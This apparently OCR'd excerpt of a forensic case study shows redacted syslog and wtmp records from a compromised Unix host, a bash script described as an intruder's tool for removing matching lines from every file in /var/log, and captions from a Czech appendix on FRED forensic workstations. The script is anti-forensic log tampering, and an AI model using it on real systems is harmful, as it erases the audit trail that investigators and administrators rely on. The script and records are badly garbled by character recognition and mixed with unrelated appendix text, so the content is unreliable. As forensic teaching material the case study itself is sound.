XXXX
XXXX
XXXX

XXXX

ftpd[1327]: QUIT

ftpd[1327]: FTP session closed

in.telnetd[1342]: connect from AAAAAA XXXXXX. XXX
telnetd[1342]: ttloop: peer died: Try again

in.rlogind[1358]: connect from CCCCCCCC.XXXXXXXX. XXX
in.telnetd[1459]: connect from XXXX-XX-118.XXXXXXXXX.XXX

in.telnetd[1525]: connect from XXXXXX. XXXX. XXXXXXXXXX. XXX

login: 1 LOGIN FAILURE FROM XXXXXX.XXXX. XXXXXXXXXX. XXX, XXXXX
su: XXXXX on /dev/console

in.telnetd[1569]: connect from HHHHHH . XXXXXXXXX XXX XXX XXX

su: XXXXX on /dev/console

in.telnetd[1673]: connect from XXX.XX.XXX.XX
in.telnetd[1679]: connect from GGGGGGG. XXXXXXXXXXXXXX. XXX
su: XXXXX on /dev/console

in.telnetd[1728]: connect from FFFFFFF.XXOOXXXXX XX XXX
in.telnetd[1731]: connect from HHHHHH.XXXXXXXXXXXXXXX. XXX
in.telnetd[1733]: connect from FFFFFFF. XXX XXX XXX

su: XXXXX on /dev/console

The following is another script used to clean out log files. It is not known
if this same file exists still in the active file system.

#!/bin/bash

WHAT=$(/bin/ls -F /var/log | grep -v "/" | grep -v ™" | grep -v ".tgz" |
grep RY, "-gZ" | grep Ry, ".tal’" | grep -V u@n)

for file in $WHAT

line=$(wc -l /var/log/$file | awk -F ' * {print $1})
echo -n "Cleaning $file ($line lines)..."

grep -v $1 /var/log/$file > new

mv -f new /var/log/$file

newline=$(wc -l /var/log/$file | awk -F '’ '{print $1})
let linedel=$(($line-$newline))

echo "$linedel lines removed!"

done
echo

The following are strings out of a portion of a wtmp file ("last"

information).

Times are not obvious, but host names are.

ftp4264

ttypl

IXXXXX

xiii
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XXXXXXXXXXXX
ttypl

Pftp4626
3XXXXX
XXXXXXXXXXXX
ttypl

3XXXXX
XXXXXXXXXXXX
ftp4626

ttypl

Pftp4639
SXXXXXXXX
XXX XX XXX XX
Pftp4639
Pftp4653
3XXXXXX
XXXXXXXXXXXX
ftp4653

Pftp4743
3XXXXX

XXXXXXXXXXXXXXXX

Xiv



Dodatek B

Zarizeni FRED, FREDDIE a
FRED-M

Obrazek B.1: FRED - zdroj: www.digitalintelligence.com.



B. Zarizeni FRED, FREDDIE a FRED-M

Obrazek B.2: FREDDIE - zdroj: www.digitalintelligence.com.

Obrazek B.3: FRED-M - zdroj: www.digitalintelligence.com.
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